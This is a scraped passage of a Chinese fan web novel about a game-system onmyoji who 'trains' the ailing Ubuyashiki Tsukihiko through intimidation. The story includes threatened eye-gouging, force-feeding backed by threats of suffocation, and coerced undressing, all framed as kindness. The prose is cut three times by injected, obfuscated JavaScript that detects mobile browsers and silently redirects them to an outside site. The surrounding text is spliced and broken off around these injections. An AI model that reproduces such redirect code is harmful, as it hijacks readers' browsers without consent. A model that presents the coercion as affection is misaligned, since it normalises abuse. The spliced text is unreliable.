哪怕是贵族又如何?真正的贵族另有其人,眼前这个病秧子,不过是个迟早会断气的东西罢了,不值得费心伺候。 连人都算不上。 面对这些涌动在无声之处的蔑视与怠慢,产屋敷月彦从不会忍气吞声。 他就是要挖出这些人心底的负面情绪,要用言语训斥羞辱他们,要他们诚惶诚恐的跪在自己面前请求恕罪,要将他们逼至绝境。 他不顺心,他们也别想好过。 而他,产屋敷月彦,必定会找到治愈自身疾病的办法,长长久久的活下去。 产屋敷月彦如此强烈的确信着,咬着恨意,在一夜又一夜的咯血与闷咳里生熬过去。 直到羽原雅之,这个混账神官出现在他的眼前。 肆无忌惮地侵丨犯他的私人领域,践踏他的自我意志,强迫他低头顺从,按照他的想法做出行动。 区区一个装神弄鬼的混账,凭什么! 昨晚还那样折腾他! 产屋敷月彦光是听见羽原雅之的声音,心头涌动着强烈的火气、愤怒与憎恶。 但与面对可以随意打杀的下人不同,对方是备受天皇宠爱的阴阳师,不是随便就能动手杀死的对象。 于是,这股快要爆炸的情绪只能被硬生生憋在心里,气得他从睁眼开始就没半点好脸色,心情也糟糕透顶。 如果真的直到自己死亡才能摆脱这家伙…… “你不是一向说神明为虚假之物,连带神官也只是弄虚作假的骗子?那么,我要如何对你的梦动手脚呢,这可是人力做不到的事情啊。” 羽原雅之看着他躺在床上生闷气的反应,反倒笑得更愉快,甚至煞有介事的用他的话来反驳他自己。 “………” 产屋敷月彦当场气笑,“昨晚是谁说出那句话的?我根本说出口过,你怎么会知道那句话……还有刚才也是!你究竟想做什么!” 羽原雅之盯了他一会儿,将对方盯得稍有退缩,又更凶狠的朝这边瞪过来。 明明本人只能虚弱的躺在床上,性格却像只不服输的野猫,谁将手伸过来都要挨上一爪子。 “你没有反驳我刚才说的话,是承认我并非弄虚作假的骗子吗?”羽原雅之的眼底浮现笑意。 产屋敷月彦断然否认,“神明本就是不存在之物,谁知道你用了什么卑鄙的花招。” 羽原雅之自然不会透露系统的存在,只是低笑出声,将话题的重点转移到后半句,并顺带用言语对他进行思维上的引导。 “是啊,所以我也应当没办法影响你的梦,这才对吧?” ——这么说着,他单手撑在产屋敷月彦的枕边,另一只手抚上对方汗津津的苍白面颊;在那双一瞬间流露出畏惧情绪的眼眸中,整个人缓慢地、慢条斯理地俯下身来,与他的距离挨得极近,压迫感也变得更强。 “是你自己想要梦到我,我才会出现在你的梦境里,月彦。” 羽原雅之开口的嗓音里始终带笑,一字一句吐出的热息拂在已然起了小片战栗疙瘩的细腻肌肤上,也轻而易举撩起了对方眼底的怒火。 “承认吧,因为我们已经约定好了,你才会像这样,连睡觉都无法忘记我。呵……来说给我听听吧,你梦见我对你做什么了,才会不停地喊住手?是我昨晚给你的奖励吗?你果然很喜欢吧?” 面对那张近在咫尺的脸,产屋敷月彦的呼吸几乎要凝固。 梦里那尚且没能完全褪去的潮闷与湿热,以及那如影随形的禁锢与强迫,此刻又如实复刻在了现实里,像蛛网、像风更像空气,细细密密的将他包裹在独属于某人的茧里。 而他甚至不能不回答,羽原这家伙的手只要稍微往下挪几分,就能轻松扼住他的脖颈。 所谓的【自尊】在死亡面前,一无是处。 “谁说过喜欢,根本是你强逼……可恶的混账,你分明都清楚内容,现在来问我做什么,羞辱我让你很得意吗?” 就算不得不低头,产屋敷月彦的语气也硬邦邦的,半点不友好。 “这怎么会是羞辱呢?” 羽原雅之微笑开口,“我在教导你,任何时候都要对我诚实。” 这点他可没有说谎。 游戏介绍上可是说好要改造鬼王的,要让对方敞开心扉,变得开朗又活泼。 结果他才照看一天,负面性格的词汇描述就增加了三个。 羽原雅之完全没认为自己的做法哪里有问题,甚至还挺困惑。 ——怎么了,产屋敷月彦本来就病着,出了汗还不愿意让仆人擦身体换衣服,他主动揽过这个活,不是很善良吗? ——产屋敷月彦不愿意结婚还不拒绝,答应结婚后又打算逼死妻子,他替那位可怜的姑娘出手给予一番教训,岂不是相当大义? ——产屋敷月彦身体本来就虚,还不愿意好好吃饭,他任劳任怨的主动喂食还给予奖励,多么有耐心又温柔啊。 就这样,产屋敷月彦竟然一点都不领情,实在太不懂事了。 唉,年纪轻不懂事也没办法,只好他多辛苦些,慢慢来教就是。 羽原雅之的掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048375|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心贴在产屋敷月彦冰凉汗湿的面颊上,拇指缓慢摩挲过那淡淡青黑的眼圈,又往上抚去,很快就要触碰到那颗轻微颤动的眼球。 哪怕产屋敷月彦没有闭起眼睛,他也没有要停止的意思。 不过,那拇指最终没有落在湿润柔软的眼球上。 产屋敷月彦的身体本能先一步触发条件反射,闭紧了左眼,令那拇指的指腹仅是落在薄薄的眼皮上,缓慢压得内侧的眼球来回滑动。 像煮熟后的鸡蛋剥去壳,被装在布袋里面慢慢滚,慢慢碾,直到承受不住应力,逐渐裂开,淌出尚未凝固的黏稠蛋黄。 羽原、羽原雅之肯定是想这么做……! 他想活生生挖出他的眼球,作为他逃避回答的惩罚! 而后,痛苦将携带着鲜血降临。 他会惨叫,会疼得流出混着血的泪水,会捂住失明的那只眼睛来回打滚,会用仅剩的右眼盯着那人掌心中的眼球,看着那只沾满血的手将它举在光线下打量,问他“想好该怎么做才能取悦我了吗”。 只是在梦里掐住自己的脖颈,欣赏自己濒死的丑态,已经无法满足他的恶劣趣味。 产屋敷月彦被自己构想出的那幕场景惊得咬住嘴唇,闭起的左眼却因过于用力,反而颤动得更厉害。 这次,不用羽原雅之说【三秒钟】,产屋敷月彦便开口了。 “只是梦见你变成了巨大的怪物,用手将我托在掌心,反复玩弄罢了。” 他的嗓音颤抖得厉害,汗水凝在眼尾滑落出泪似的湿痕,每个音节的咬字都透出忍辱负重下的妥协与忍让。 狼狈的、屈辱的,就像认输的野兽向胜利者俯低身体,低下头颅,将自己的致命弱处暴露在对方的利爪之下。 羽原雅之居高临下的俯视咬紧嘴唇、满脸不甘的产屋敷月彦,从对方的微表情里判断内容的真假。 可能有些隐瞒的地方,但大体应该是没错的。 果然啊,这家伙最讨厌死亡,用这方面的举动稍微吓一吓他,效果还真是挺不错。 可惜打开资料面板看一眼,性格后面也没有多出【诚实】这个词语。 也就是说,一次两次的诚实回答,可能不足以形成他的个人性格特质,被系统认可,进而反应在个人的资料介绍里。 还是得多练习。 在羽原雅之的无声端详中,产屋敷月彦仍旧紧闭左眼任由他触碰,但神情愈来愈紧张,明显担心对方会突然发难。 “不错哦,回答得很好。” 终于,那只手移开了面颊,转而赞许地抚摸他的发顶,温暖的触感依然极为陌生,头皮随着手掌的移动而持续性传来酥麻与不适应的反馈,像无数只蚂蚁在细细密密的啃噬。 这种古怪的感觉太过鲜明且活跃,甚至一路蔓延至脊背与攥紧身下床单的指尖,比昨天被他抚摸脑袋、被给予奖励时还要来得更加异常。 产屋敷月彦忍耐住巨大的恶心与反感,僵硬着身体一动不动,但在心里咒骂这个混账完事了就赶紧滚! 或者等他找到对方的弱点,绝对要让他死得凄惨万分……! 当然,在言语上,产屋敷月彦已然学会放弃直白发泄情绪后惹来惩罚,而是在死里逃生后的大喘气缓慢平息后,极为不满的阴沉沉开口。 “我要再休息一会。” 措辞委婉,但意思依然是摸完了就赶紧滚。 羽原雅之收回手,自然没有要起身离开的打算。 “总待在家里养病,心情容易烦闷,我很是为你感到心急。” 他口中说着产屋敷月彦半个字都不信的屁话,略微侧过些身子,让后者能看见身边那叠整齐摆放的服饰。 暗青色的里衣,绣有大面积家纹的龙胆色狩衣外袍,同款的月白色宽筒狩袴,乌帽子则端正摆放在最顶端。 一整套外出用的休闲服饰十分华贵,足以使产屋敷月彦错愕盯着它瞧上许久。 “因此,我打算带你去参加阿倍氏组织的【赏枫会】,他们数天前就给我送来了邀请函。” 在产屋敷月彦仍旧回不过神的表情里,折扇再次被羽原雅之轻轻敲在掌心。 连带那含笑的、不容置喙的目光,也如绳网将他牢牢束缚,不准许有半分拒绝。 “就像你答应过的那样,今日要为了我好好表现啊,月彦。” 13.第 13 章 产屋敷月彦的目光从那套衣服与羽原雅之脸上来回扫了两遍,审视意味十足,似乎在怀疑后者究竟有什么阴谋诡计。 刚经历过被拷问那一遭,他才不相信羽原雅之真像嘴里说的那么好听,只是为了带他出门散心。 还去参加什么贵族的赏枫会。 笑话,宴会的本质是人情维系与利益交换,光是坐到那里就会瞬间排出个三六九等。 越是出身尊贵的世家,身旁围着的人,讨好他的人就会越多。 哪怕是做些打发时间的娱乐活动,也会有人抢着将其送上优胜者的位置。 在这种宴会里,个人的价值取决于他的血缘、他的人脉以及他在朝堂上能获得的最高品阶,唯独不取决于他的真正能力。 许多妄想往上攀爬的通贵后代,连进入宴会门槛的资格都没有。 能巴结到一个正三位以上的豪族,可是很多低阶贵族求都求不来的梦想。 产屋敷月彦撑着身体,从床上坐起来。 他依然没有束发,暗藻般的墨发顺着消瘦的肩背滑落身前,卷出天然优雅的漂亮弧度。 原本应当在元服之后梳起象征成年男性的发髻仍然尽数披散,在绝大多数人眼里看来是羞耻的,代表自己仍旧与稚儿无异。 哪怕不走出去,仅是待在自己的寝殿里,也绝不可让下仆看见头发散乱、毫无风雅的模样。 羽原雅之的目光落在产屋敷月彦那头一直垂落至腰间的长发上,有点走神。 这种平安时代才有的习俗对他来说完全无所谓,根本不懂有什么需要嘲笑的地方。 他刚被送到这个游戏世界里时,对大多数习俗都不怎么了解,也没想到这游戏会将古代社会模拟得如此真实。 当他打算将跟着变长的头发随意扎成一束低马尾、不戴乌帽子就出门上朝时,被贴身仆从松石拼死拉住了,高声喊着“主上您这简直是比脱光衣服在大街上甩着○○奔跑还要羞耻一百倍的事情!”,硬要替他梳起发髻并戴好乌帽子,才允许他离开寝殿,登上牛车。 听到这话的羽原雅之简直无语。 ………只是嫌麻烦才懒得戴那顶帽子而已,怎么就比甩着○○奔跑还要羞耻一百倍了?? 但这个时代的习俗正是如此。 因此,像产屋敷月彦这样过了元服,却终日披头散发的成年男性,甚至可以称得上罕见。 在这种极端追求【风雅】的贵族风气下,哪怕其实是他罹患绝症、身体孱弱,也不能当作可以衣冠不整、不梳发髻的理由。 大概连他自己也这样认为,以至于在察觉到羽原雅之盯着他的头发后,产屋敷月彦无意识做了个偏过脑袋的动作,似乎这样就能将他不耻与难堪的一面全部都藏起来。 但很快,从不会让自己情绪难受的产屋敷月彦立刻气势更足的眯起眼睛,开口的发音低沉而丝滑,标准贵族式抑扬顿挫的音节间透出高高在上的嘲笑。 “话说得好听,为了带我出门散心而参加【赏枫会】?” 产屋敷月彦抬起下巴,口吻轻蔑而傲慢。 “哼,不知天高地厚的混账,不过是在众人想炫耀你攀上了产屋敷氏的准家督罢了,以为这样就能获得他人的拥趸与巴结吗?可笑至极,敢将我当成你的垫脚石,多少也掂量下自己的身份……” 他说着说着,看见眼前这位他口中的【混账神官】没有半点生气的意思,还用那带着点饶有兴味的神情盯着他,似乎想看看他还能说出点什么挖苦人的东西。 用言语打击人、将对方逼得失态,本应该是产屋敷月彦卧在病榻上的17年里相当擅长的一招。 但这招在对方的身上,从来没有成功过。 这个混账神官的心性太稳定、太平和,连那姿态从来都是淡然却强势的,根本找不到漏洞。 产屋敷月彦:“…………” 产屋敷月彦顿时生气了,“给我说点什么!” “我正在听你说完,怎么你反而先一步着急了?” 羽原雅之慢悠悠笑道,“你这样骂我,还希望从我这里得到奖励吗?很贪心啊,月彦。” “…………” 产屋敷月彦恨恨瞪了他一眼。 不提还好,一提更是气不打一处来。 以下犯上的家伙,竟敢对他动手动脚,丝毫没有自己理当避嫌的教养……哪怕换成家族给他安排的【若众】(兼具侍寝服务的男性少年侍从),敢这样轻慢的对待他,也照样死几遍都不够! 可恶,可恨……可恨的混账神官…… 接受精英贵族教育的产屋敷月彦在粗鲁骂人上的词汇量完全不够用,只能几个单词来回在齿间碾磨着咀嚼,仿佛这样就能生啖其肉。 一口气没喘上来,他还捂住嘴,闷闷咳出几声。 身体这么差,气性倒是不小。 羽原雅之抬抬眉毛,见他恨得都快扑上来挠自己几道,也总算放过继续逗弄人,转而让他先洁面净齿,自己则拿起压在乌帽子下的那件里衣。 “看你刚醒来就这么有活力,我也算是能放心带你出门了。” 他边这么说着令产屋敷月彦气炸的话,边示意后者将身上睡过一夜的单衣脱去,该换上新的这身外出装束了。 这种好像在跟大猩猩、黑熊或者干脆就是野猪交涉,还完全没办法反抗的感觉,令产屋敷月彦挎着张脸,嘴角抿紧,满脸都写着极度不爽与抗拒。 但在下一刻,产屋敷月彦闭了闭眼,站起身时,也动手抓住两侧衣襟,让那件单薄着身的布料顺着肩头滑落。 该看的不该看的都被这家伙看了个遍,对他胆大妄为的举动、胁迫强逼的举动、粗暴直接的举动,也不知做了多少次。 再感到耻辱与憎恶又能怎么样,他难道有拒绝的余地吗。 就像这家伙之前说的那样,配合还能少受些罪——可恶的混账,根本没把他当病人对待! 产屋敷月彦阴沉着脸,瞪向羽原雅之的目光始终冰冷,但动作已经十分配合。 所幸他这次穿着裈,不至于到昨晚那般彻底袒露的状况。 长期没有运动,饮食不足以补充营养,喝的药比水都多。 哪怕他在沐浴时,会用混有香料的精油保养肌肤,也难以掩盖当宽松衣袍脱去后,暴露出那具明亮天光下的、清瘦到病态的躯体。 就像已经17岁的他身高甚至无法突破170cm那般,羽原雅之甚至确定自己可以单手圈住产屋敷月彦的脚踝。 而后轻轻一拽,他就会重心不稳,跌倒在榻榻米上。 连发怒都只能带着闷咳与喘息,瞪过来的眼神也毫无威慑力。 还会害怕他按在眼皮上、微微施加力道的拇指,只因为那具身体根本无力反抗。 看起来很不甘心的模样啊,一举一动都不情不愿的。 羽原雅之注视的时间稍微长了些,便能看见这位贵族大少爷的表情越来越不耐烦,已经到达用肢体语言来明显传递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有两绺略长的鬓发没能梳起,打着卷轻落在面颊两侧,颜色对比强烈,衬得肌肤愈发透出长期不见太阳的苍白。 羽原雅之拉远了些视角,端详产屋敷月彦片刻后,满意点头。 这种感觉有点像亲手给游戏里养的娃换上漂亮衣服,还是非常愉悦且有成就感的。 至于本人乐不乐意被这样对待,与他关系不大。 再打开个人资料看一眼,明明完成了【换衣服】这项互动行为,上面的数值与描述依然没有变化。 看来,这些都是得反复完成多次才会有效果的游戏设计。 “非常漂亮。你生有一副格外出色的皮囊呢,月彦。” 最后,羽原雅之用手托起其中一绺垂在对方面颊的墨黑卷发,随意把玩,似乎对自己挑选“妻子”的眼光非常满意。 “…………” 产屋敷月彦跪坐在原地,略低着脑袋,没有给出半个音节的回应。 只不过,他的双手五指早已攥紧大腿上的布料,强忍着反胃与抗拒一动不动,由着那绺发丝在那修长指间绕出几个柔软的圈又迅速溜走,宛若一只轻盈振翅的蝴蝶与他嬉戏。 连带他好像也变成了宠物,只能瞪着那只作恶的手,身体却必须要向对方臣服。 分明与涌动在内心的情绪截然相反,张口却连半个“不”字也无法吐出。 真是何等的……屈辱啊。 14.第 14 章 产屋敷月彦直忍到在他眼前晃来晃去的那只手玩腻之后,松开,收回,终于肯放那绺发丝重新垂落在他的脸侧。 在上午阳光照进来的寝居内,二人的互动看起来是如此的和谐美好,暧昧又亲昵。 不愧是待人如此温柔体贴的羽原大人,还会夸月彦殿下容貌俊美。 可惜月彦殿下的脾气太差了,竟然也不知开口感谢! ——只能从竹簾缝隙处隐约窥见倒影的云助在心底淌着热泪感叹,由衷为羽原雅之那得不到回应的付出感到不值。 他既听不见他的月彦殿下在心里咬牙切齿的咒骂,也看不见殿下的面色始终沉得能滴水,完全是迫于求生压力下的勉强配合。 “好了,牛车已经在门外等着了,我们走吧。” 羽原雅之朝产屋敷月彦伸出手,半扶半带着,将穿戴整齐的他引出了门。 等候许久的云助立刻迎上来,将托盘里的药碗递向产屋敷月彦。 “殿下此次要去大半日,小人提前将药熬好了,请用。” 羽原雅之看了产屋敷月彦一眼,后者臭着脸,但还是伸手去端那碗散发着强烈苦味的药,仰头一饮而尽。 “哦……喝药倒是很乖。” 听到夸奖的产屋敷月彦脸上依然见不到半点高兴的神色,只是将空碗重新哚回托盘里,发出一声明显的闷响。 “反正肯定没用。” 他用手背抹去嘴角的残留药汁,嗓音沙哑的呛了人一句,便继续往前走。 一边怀抱着强烈的求生欲去各地寻找医生,一边又相当悲观的自暴自弃啊。 羽原雅之若有所思。 平安时代其实有奔跑速度更快的马,但出于“牛车的慢体现了贵族的优雅”这项要命的风气,导致羽原雅之只能让牛车在路上晃晃悠悠走了近两个时辰,才抵达阿倍氏的那栋位于京都近郊的私人别院。 难怪得一大清早就开始准备,洗漱换衣服加赶路这一套流程下来,日头竟然都过了正午。 产屋敷月彦体力很差,早已将脑袋靠在羽原雅之的肩头,眼睑低垂,半闭不闭的,似乎快要睡去。 讨厌羽原雅之归讨厌,产屋敷月彦绝不会委屈自己受苦。 再说了,是这混账强行拉他出来参加宴会的,他都没有怪罪他竟然想靠着他的身份一步登天,对方还敢先抱怨他? 产屋敷月彦被牛车晃得头脑昏沉,耳旁传来木制车轴摩擦转动,碾在土路上的动静,好像永远也不会停止。 一上午只喝了碗苦得要死的药,他抿了抿嘴,只感觉口中反苦味反得厉害,久未进食的腹中也饿得厉害。 但睁开眼扫了这个车厢一通,发现这里既没有盛着酒水的瓷瓶,也没有盛放点心的莳绘漆盒。 “…………” 产屋敷月彦立刻又在心底大骂一通这个混账神官懂不懂贵族出行的规矩,牛车里提前备好酒水与点心不是理所应当的事情吗!无知!浅薄!毫无礼仪的混账巨力猩猩!不知道从哪里来的…… “虽然你没有说话,但看这表情,很明显在骂我啊。”羽原雅之的声音响起。 他的嗓音偏轻,夹杂着明显的玩味笑意,令产屋敷月彦身体一僵,但很快又放松下来,继续绷着脸,假装没听见对方说话。 反正又没有真的说出来叫人听见,偏不承认又能怎么样? 产屋敷月彦双手交叠在袖袍里,揣在身前,闷不吭声的闭眼,假寐。 直至从那漆黑的、充盈在肺腑间的干涩苦味中,忽然挤入一丝霜似的清甜。 他讶然睁眼。 “似乎是用板栗、柿子与糯米做成的一种点心,压制成了花瓣的形状。我不太能分辨这些,但记得你更偏好甜味的食物。” 羽原雅之单手托着一块精致的米糕,底下还垫有一块绣着花纹的绢布,就这么稳稳放在产屋敷月彦的面前,近得他几乎张口就能咬下其中一角。 盯着这块近在咫尺的、散发出诱人香气的点心,产屋敷月彦的表情看起来甚至有点呆愣,还带着点难以置信,活像忽然瞧见了什么不可名状的恐怖。 “肚子饿了可以直接说,我清早才刚教过你要对我诚实,别忘记这点。” 这次,产屋敷月彦有反应了。 他先认真分辨了下那块约掌心大的米糕,又抬眼看向羽原雅之,原本始终紧蹙的眉头终于舒展些许,脸上那种“你这家伙可算是知道该讨好我才能得到欢心了”的情绪太过明显,真是半点也不藏着掖着。 羽原雅之没有出声,仅是那双盯着人的眼眸微微眯起,露出了一个似笑非笑的隐晦神情。 可惜产屋敷月彦这时已垂了眼,没注意到羽原雅之的反应。 他只专注于从宽大繁复的衣袍里伸出手来,想从羽原雅之的掌心捻起那块米糕。 但下一刻,那块米糕被羽原雅之托在手里,顺势抬高了些,避开了产屋敷月彦伸过来的手。 产屋敷月彦抬手捞了个空:“…………” 刚刚好转0.5的心情迅速暴跌50。 他眼神一厉,半点不压着自己的情绪,瞬间进入炸毛的暴躁状态,“你这个混账神官,竟敢愚弄我……!” “嘘……都出来散心了,你要开心些才是。” 羽原雅之将左手压在他另一侧的肩头上,半环着人;托着米糕的那只右手灵巧一翻,将那块米糕竖起,隔着绢布捏在拇指与食指间,摆出适合张口食用的姿势。 但很显然,眼下要吃这块香甜米糕的,另有其人。 产屋敷月彦盯着重新递到他嘴边的米糕,还有什么不明白的? 他也不是没有过由于急病来势汹汹,只能躺在床上,被仆从伺候着喝药进食的时候。 但那些仆从要么诚惶诚恐,要么假装尽心实则敷衍,连蠢笨到将药汁洒在他身上的也有。 那时候的他心情同样糟糕至极,怒意与怨怼如同死亡蔓延过来的暗潮,哪怕白日也能将他一点一点地淹没,连呼吸也只觉万分痛苦。 带点甜味的食物,至少还能冲淡一两分草药熬出的苦,也能让他更清楚的知晓一件事。 ——他绝不是为了死亡才诞生到这世上的。 为此,他必须活下去,用尽一切办法活下去。 要他付出任何代价、做任何事情都可以。 哪怕这家伙……对他是如此的不怀好意,粗鲁无礼,且冒犯至极。 产屋敷月彦沉默着,盯着眼前这块被对方捏在指间的米糕,就像死刑犯在看绞刑架上的套索。 ……区区自尊心,在化为实质的生存压迫感面前……不值一提。 这家伙的一举一动再如此令他厌恶,明面上也不能拒绝。 与他的意志无关,身体的求生本能已经不允许他再对人说出拒绝的话语。 否则,对方一定会像昨天那样,强硬的将食物塞进他的嘴里,再用手捂住口鼻,不吞咽下去就等着窒息而死。 于是,在羽原雅之的视野里,便是产屋敷月彦阴沉着脸,再次抬起右手。 只不过,这次的产屋敷月彦却没有去拿那块米糕,而是攀在羽原雅之的小臂上。 后者也顺着他的力道放低高度,好让他能就着那只喂食的手,略低了些脑袋,张口从米糕边缘咬下一角,慢慢咀嚼。 贵族吃饭,向来是文雅且不急不躁的,非必要时候绝不发出声音。 产屋敷月彦也很好的继承了这点,咬口米糕就能嚼上许久不说,还听不见咂嘴的动静,只能看见腮帮一鼓一鼓。 羽原雅之看了他会儿,又低头看了眼手里缺了一块的米糕。 上面是两排整整齐齐的牙印,确实吃得堪称赏心悦目。 “牙齿看起来很整齐啊,非常健康。” 羽原雅之刚开口夸赞一句,就被产屋敷月彦无声的瞪过来一眼,显然极为不满他对着自己咬剩的米糕指指点点。 虽然只是普通的米糕,对方也只是在普通的喂食,但产屋敷月彦总是有点微妙的、古怪的不自在。 尤其是被对方仔细端详自己咬出的痕迹时,仿佛窥探的不是那一两排牙印,而是关于他个人的、更私密的内部。 简直就像他已然被强迫张开口,被羽原雅之用拇指粗暴地卡在嘴角,禁止合拢。 而那双紧盯住他的眼神,更是用着仿佛评估宠物健康状态的冷淡态度,自那张开的口腔开始,一点一点入侵他的私人领域,仿佛有蜿蜒的光带着那道视线继续往深处窥探而去,直至开荒般看透他的整个身体,从外到内。 最后,他得到了一句不痛不痒的、近乎冷血的赞许。 健康?竟然对着他若无其事说出健康这个词语? 他究竟哪里健康了? 如果真的健康,还会被这个混账压制得动弹不得,还会连代表公家的太刀都提不起来,会这样毫无尊严的去吃他人手里的饭?! “…………” 产屋敷月彦没有应声,气得浑身都在轻微颤抖,一抬头,宛若火山喷发的暴怒情绪更是毫不掩饰地自绷紧睁大的眼眶中流露出来,恶狠狠扑向这个特意来拿他取乐的混账神官! 羽原雅之:“……嗯?” 这位贵族大少爷好像突然又变得特别生他的气啊。 怎么了,亲手喂点心也能喂出反效果吗? 羽原雅之拉开游戏面板看一眼。 还好,自己目前还是排在死亡后面一位。 性格也没有增加更多描述词汇。 依恋度……倒是又涨了1,现在来到4。 真不容易,头一次见到指标数值增加这么慢的游戏。 这样看来,与产屋敷月彦的日常互动确实能增加他的依恋度。 甚至在他没注意到的时候,互动方式那一列多出了个【喂食】。 不错,游戏的进度条终于再次前进了一点点。 他喂饭成功的办法果然十分奏效,甚至摸索出了新的互动方式——以这位贵族大少爷的挑食与任性程度而言,态度强硬是必要的手段。 羽原雅之心情大好,对着在凶狠瞪自己的产屋敷月彦也半点不生气,还表现得更体贴,甚至将手里剩下的那块米糕放在他嘴边。 开口的嗓音却是冷淡的,甚至是近乎冷酷的吐出两个简短的音节。 “继续。” ——伴随这段发音带来的体验太过鲜明而清晰,令产屋敷月彦的身体瞬间僵硬,呼吸也跟着停了数拍。 身体更是自发进行了一次条件反射般的吞咽反应,将口中剩下的那一点米糕全部咽了进去。 他的意志尚未向羽原雅之彻底服从,身体却先一步宣告了败北,甚至能体会到某种油然而生的畏惧— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054904|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —在被对方折磨出的生理条件反射面前,连主观意义上的耻辱都显得如此姗姗来迟。 而后,产屋敷月彦才从眼前的风平浪静中反应过来,对方没有要强硬将食物塞进他嘴里的意思,只是要他主动吃光。 反倒是这个害得他变成这样的混账神官,明明那样残忍的对待过他,现在竟然还能扬了下眉毛,风轻云淡地发出那个叫他心脏瞬间纠紧的音节。 产屋敷月彦在心底骂得越恶毒,表明上就只能更乖顺的张口,忍耐着杀意与暴怒,从对方的手中慢慢咬下一块米糕。 再将那点甜味恨恨地嚼碎,全部吞进肚子里。 直到将那块米糕全部喂给他吃完,羽原雅之才收起白绢,放过了他。 原先残留在肺腑里的草药苦味确实被米糕冲淡,留下了栗子与干柿交织后特有的甜。 但同样留下的还有胸口那股更强烈的负面情绪,叠加上本就虚弱的病体,冲撞得产屋敷月彦几次咳出声,越咳嗓音越哑,呼吸越急促,险些一头栽向车厢,被羽原雅之及时出手扶稳,让他半躺半倚的靠在自己肩头。 产屋敷月彦挣扎了下,逃不开 ,只能被迫用如此柔弱无力的姿势,亲密靠在这个他恨不得杀死的男人身上。 他闭起眼睛,索性不去看。 这姿势实在太过屈辱……仿佛,他真的成为了对方的妻子。 羽原雅之倒没趁着这时候再说几句羞辱人的话,而是半掀起原本遮得严严实实的竹帘,让凉爽的秋风能自二人间吹拂而过,卷走沉郁憋闷的空气,令他能好受些。 所幸眼下已经到了近郊,再沿着路走到尽头,就成功抵达阿倍氏的私人别院。 门口早已有仆人等着,一人主动来牵牛车,另一人恭敬将羽原雅之与产屋敷月彦迎进去。 “哎呀,嗨呀,你可算到了,羽原殿!” 现今的阿倍家督——阿倍御岳盘膝坐在尊位上,见到羽原雅之过来,很是高兴的邀请他快点过来坐下。 铺开的锦垫上已零零落落坐了不少人,有些羽原雅之见过一面,有些则完全不认识。 他没有急着坐下,而是先侧身将产屋敷月彦让出在众人视野内,向他们介绍。 “这位是产屋敷氏的准家督,产屋敷月彦。我没有提前征得您的同意,就擅作主张将他也带来散心,望您原谅。” “产屋敷月彦……噢,这可真是少见的贵客!您可不比对我说这些见外的话,我早就听说您最近占卜得到神兆,要您妥帖照看这位一段时间呢。” “哦,这件事我也有听说!天皇陛下今早还在朝堂抱怨,这样便不能随时传唤雅之卿到大内里了呢!” “毕竟阴阳术的技艺如此高超,羽原殿真不愧是天皇陛下的宠臣啊!” “摄公也对羽原殿青睐有加,实在令人钦羡!” 阿倍御岳笑得爽朗,旁边坐得那些人也立刻附和着笑起来,配合说几句恭维话。 羽原雅之笑了笑,与他们也客套几句,才带着产屋敷月彦坐在最靠近阿倍御岳的锦垫上。 这栋别院内栽满红枫,配上洁白的鹅卵石地面与微风下泛起粼粼波澜的锦鲤池,确实极具意境。 有人也尝试跟产屋敷月彦搭话,看看能不能攀上这位准家督。 哪怕听说这位是个注定活不过二十岁的病秧子,至少他现在看起来是活的嘛! 是活的,那多多少少都有拉拢的价值。 羽原雅之倒是也意外见到产屋敷月彦另一副面孔——他真的可以端正坐在锦垫上,用温和有礼的嗓音与和善微笑的面庞回应每一个别有居心的低阶贵族,处理得有条不紊。 竟然没有生气,也没有怒斥对方滚远点…… 羽原雅之将折扇的一端抵在下颚处,若有所思望着他。 这目光停留的时间太长,令产屋敷月彦感到浑身不自在,终于等到没人来打扰的空隙,毫不客气地转头瞪向他。 但开口的声音是压低的,低到几近在说悄悄话的程度,“别用这种眼神盯着我看!” “我只是普通的在看着你,月彦。” 羽原雅之笑了,“不过,我发现与你对待其他人的态度相比,你好像真的对我格外诚实呢。今后也要记得保持下去。” 产屋敷月彦:“………………” 产屋敷月彦憋了一肚子的怒骂却不能说出口,最后只能磨了磨牙,恨恨将脑袋转回去,不再搭理他。 这时,游廊那边匆匆赶来一人,穿着淡青色的官服。 阿倍御岳笑了笑,给羽原雅之介绍,“你可能不知道,这位虽然目前只是个正六位下的小官,但确实今年年初的两位文章得业生之一,甚至年仅22岁。我敢断定,他未来一定大有出息。” 羽原雅之“哦?”了声,“他叫什么名字?” “菅原家的,菅原道真。” ——阿倍御岳说出这句话时,羽原雅之的视线正好与跑过来的那位青年交汇。 【接触到关键人物,激活相关副本事件——《构陷》。您将进入副本,沉浸且逼真地体验一段未来会发生的真实经历。】 【您可以选择不插手任何剧情的纯观影模式,也可以选择尝试任意行动的大胆探索模式,副本内的剧情与人物将会根据您的行为作出不同的反应。】 【是否同意开启副本?是/否。】 15.第 15 章 游廊转角的阴影下。 朝议结束,有二人手持笏板,窃窃私语。 